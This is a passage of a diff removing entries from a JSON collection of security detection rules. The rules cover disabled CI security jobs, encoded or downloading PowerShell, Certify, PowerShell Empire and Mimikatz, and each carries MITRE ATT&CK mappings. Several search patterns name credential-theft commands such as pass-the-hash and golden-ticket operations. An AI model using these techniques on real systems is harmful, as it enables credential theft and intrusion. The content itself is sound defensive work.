- "search": "`circleci` | rename vcs.committer_name as user vcs.subject as commit_message vcs.url as url workflows.* as * | stats values(job_name) as job_names by workflow_id workflow_name user commit_message url branch | lookup mandatory_job_for_workflow workflow_name OUTPUTNEW job_name AS mandatory_job | search mandatory_job=* | eval mandatory_job_executed=if(like(job_names, \"%\".mandatory_job.\"%\"), 1, 0) | where mandatory_job_executed=0 | eval phase=\"build\" | rex field=url \"(?[^\\/]*\\/[^\\/]*)$\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `circle_ci_disable_security_job_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "CircleCI", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Disable security job $mandatory_job$ in workflow $workflow_name$ from user $user$", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1554", - "mitre_attack_technique": "Compromise Host Software Binary", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT5" - ] - } - ] - } - }, - { - "name": "Circle CI Disable Security Step", - "description": "The following analytic detects the disablement of security steps in a CircleCI pipeline. It leverages CircleCI logs, using field renaming, joining, and statistical analysis to identify instances where mandatory security steps are not executed. This activity is significant because disabling security steps can introduce vulnerabilities, unauthorized changes, or malicious code into the pipeline. If confirmed malicious, this could lead to potential attacks, data breaches, or compromised infrastructure. Investigate by reviewing job names, commit details, and user information associated with the disablement, and examine any relevant artifacts and concurrent processes.", - "search": "`circleci` | rename workflows.job_id AS job_id | join job_id [ | search `circleci` | stats values(name) as step_names count by job_id job_name ] | stats count by step_names job_id job_name vcs.committer_name vcs.subject vcs.url owners{} | rename vcs.* as * , owners{} as user | lookup mandatory_step_for_job job_name OUTPUTNEW step_name AS mandatory_step | search mandatory_step=* | eval mandatory_step_executed=if(like(step_names, \"%\".mandatory_step.\"%\"), 1, 0) | where mandatory_step_executed=0 | rex field=url \"(?[^\\/]*\\/[^\\/]*)$\" | eval phase=\"build\" | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `circle_ci_disable_security_step_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "CircleCI", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Disable security step $mandatory_step$ in job $job_name$ from user $user$", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1554", - "mitre_attack_technique": "Compromise Host Software Binary", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT5" - ] - } - ] - } } ], "external_reference": [ @@ -489911,6508 +340334,6 @@ "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html", "https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal" ] - }, - { - "name": "First time seen command line argument", - "description": "This search looks for command-line arguments that use a `/c` parameter to execute a command that has not previously been seen.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = cmd.exe Processes.process = \"* /c *\" by Processes.process Processes.process_name Processes.parent_process_name Processes.dest| `drop_dm_object_name(Processes)`| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search [| tstats `security_content_summariesonly` earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = cmd.exe Processes.process = \"* /c *\" by Processes.process | `drop_dm_object_name(Processes)` | inputlookup append=t previously_seen_cmd_line_arguments | stats min(firstTime) as firstTime, max(lastTime) as lastTime by process | outputlookup previously_seen_cmd_line_arguments | eval newCmdLineArgument=if(firstTime >= relative_time(now(), \"-70m@m\"), 1, 0) | where newCmdLineArgument=1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table process] | `first_time_seen_command_line_argument_filter`", - "tags": { - "analytic_story": [ - "DHS Report TA18-074A", - "Hidden Cobra Malware", - "Orangeworm Attack Group", - "Possible Backdoor Activity Associated With MUDCARP Espionage Campaigns", - "Suspicious Command-Line Executions" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Suspicious Powershell Command-Line Arguments", - "description": "This search looks for PowerShell processes started with a base64 encoded command-line passed to it, with parameters to modify the execution policy for the process, and those that prevent the display of an interactive prompt to the user. This combination of command-line options is suspicious because it overrides the default PowerShell execution policy, attempts to hide itself from the user, and passes an encoded script to be run on the command-line. Deprecated because almost the same as Malicious PowerShell Process - Encoded Command", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=powershell.exe by Processes.user Processes.process_name Processes.parent_process_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| search (process=*-EncodedCommand* OR process=*-enc*) process=*-Exec* | `suspicious_powershell_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Any Powershell DownloadFile", - "description": "The following analytic detects the use of PowerShell's `DownloadFile` method to download files. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This activity is significant as it is commonly used in malicious frameworks to download and execute additional payloads. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further compromise of the system. Analysts should investigate the source and destination of the download and review AMSI or PowerShell transaction logs for additional context.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` Processes.process=*DownloadFile* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `any_powershell_downloadfile_filter`", - "tags": { - "analytic_story": [ - "DarkCrystal RAT", - "Data Destruction", - "Hermetic Wiper", - "Ingress Tool Transfer", - "Log4Shell CVE-2021-44228", - "Malicious PowerShell", - "Phemedrone Stealer" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$. This behavior identifies the use of DownloadFile within PowerShell.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Any Powershell DownloadString", - "description": "The following analytic detects the use of PowerShell's `DownloadString` method to download files. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because `DownloadString` is commonly used in malicious PowerShell scripts to fetch and execute remote code. If confirmed malicious, this behavior could allow an attacker to download and run arbitrary code, potentially leading to unauthorized access, data exfiltration, or further compromise of the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` Processes.process=*.DownloadString* by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `any_powershell_downloadstring_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "HAFNIUM Group", - "Hermetic Wiper", - "IcedID", - "Ingress Tool Transfer", - "Malicious PowerShell", - "Phemedrone Stealer", - "SysAid On-Prem Software CVE-2023-47246 Vulnerability", - "Winter Vivern" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$. This behavior identifies the use of DownloadString within PowerShell.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Certify With PowerShell Script Block Logging", - "description": "The following analytic detects the use of the Certify tool via an in-memory PowerShell function to enumerate Active Directory Certificate Services (AD CS) environments. It leverages PowerShell Script Block Logging (EventCode 4104) to identify specific command patterns associated with Certify's enumeration and exploitation functions. This activity is significant as it indicates potential reconnaissance or exploitation attempts against AD CS, which could lead to unauthorized certificate issuance. If confirmed malicious, attackers could leverage this to escalate privileges, persist in the environment, or access sensitive information by abusing AD CS.", - "search": "`powershell` EventCode=4104 (ScriptBlockText IN (\"*find *\") AND ScriptBlockText IN (\"* /vulnerable*\",\"* -vulnerable*\",\"* /enrolleeSuppliesSubject *\",\"* /json /outfile*\")) OR (ScriptBlockText IN (,\"*auth *\",\"*req *\",) AND ScriptBlockText IN (\"* -ca *\",\"* -username *\",\"* -u *\")) OR (ScriptBlockText IN (\"*request *\",\"*download *\") AND ScriptBlockText IN (\"* /ca:*\")) | stats count min(_time) as firstTime max(_time) as lastTime list(ScriptBlockText) as command Values(OpCode) as reason values(Path) as file_name values(UserID) as user by _time Computer EventCode | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | eval file_name = case(isnotnull(file_name),file_name,true(),\"unknown\") | eval signature = substr(command,0,256) | rename Computer as dest,EventCode as signature_id | `detect_certify_with_powershell_script_block_logging_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell", - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Certify arguments through PowerShell detected on $dest$.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Empire with PowerShell Script Block Logging", - "description": "The following analytic detects suspicious PowerShell execution indicative of PowerShell-Empire activity. It leverages PowerShell Script Block Logging (EventCode=4104) to capture and analyze commands sent to PowerShell, specifically looking for patterns involving `system.net.webclient` and base64 encoding. This behavior is significant as it often represents initial stagers used by PowerShell-Empire, a known post-exploitation framework. If confirmed malicious, this activity could allow attackers to download and execute additional payloads, leading to potential code execution, data exfiltration, or further compromise of the affected system.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=*system.net.webclient* AND ScriptBlockText=*frombase64string*) | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_empire_with_powershell_script_block_logging_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The following behavior was identified and typically related to PowerShell-Empire on $Computer$ by $UserID$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Mimikatz With PowerShell Script Block Logging", - "description": "The following analytic detects the execution of Mimikatz commands via PowerShell by leveraging PowerShell Script Block Logging (EventCode=4104). This method captures and logs the full command sent to PowerShell, allowing for the identification of suspicious activities such as Pass the Ticket, Pass the Hash, and credential dumping. This activity is significant as Mimikatz is a well-known tool used for credential theft and lateral movement. If confirmed malicious, this could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information within the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (*mimikatz*, *-dumpcr*, *sekurlsa::pth*, *kerberos::ptt*, *kerberos::golden*) | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_mimikatz_with_powershell_script_block_logging_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-264A", - "CISA AA22-320A", - "CISA AA23-347A", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The following behavior was identified and typically related to MimiKatz being loaded within the context of PowerShell on $Computer$ by $UserID$.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - 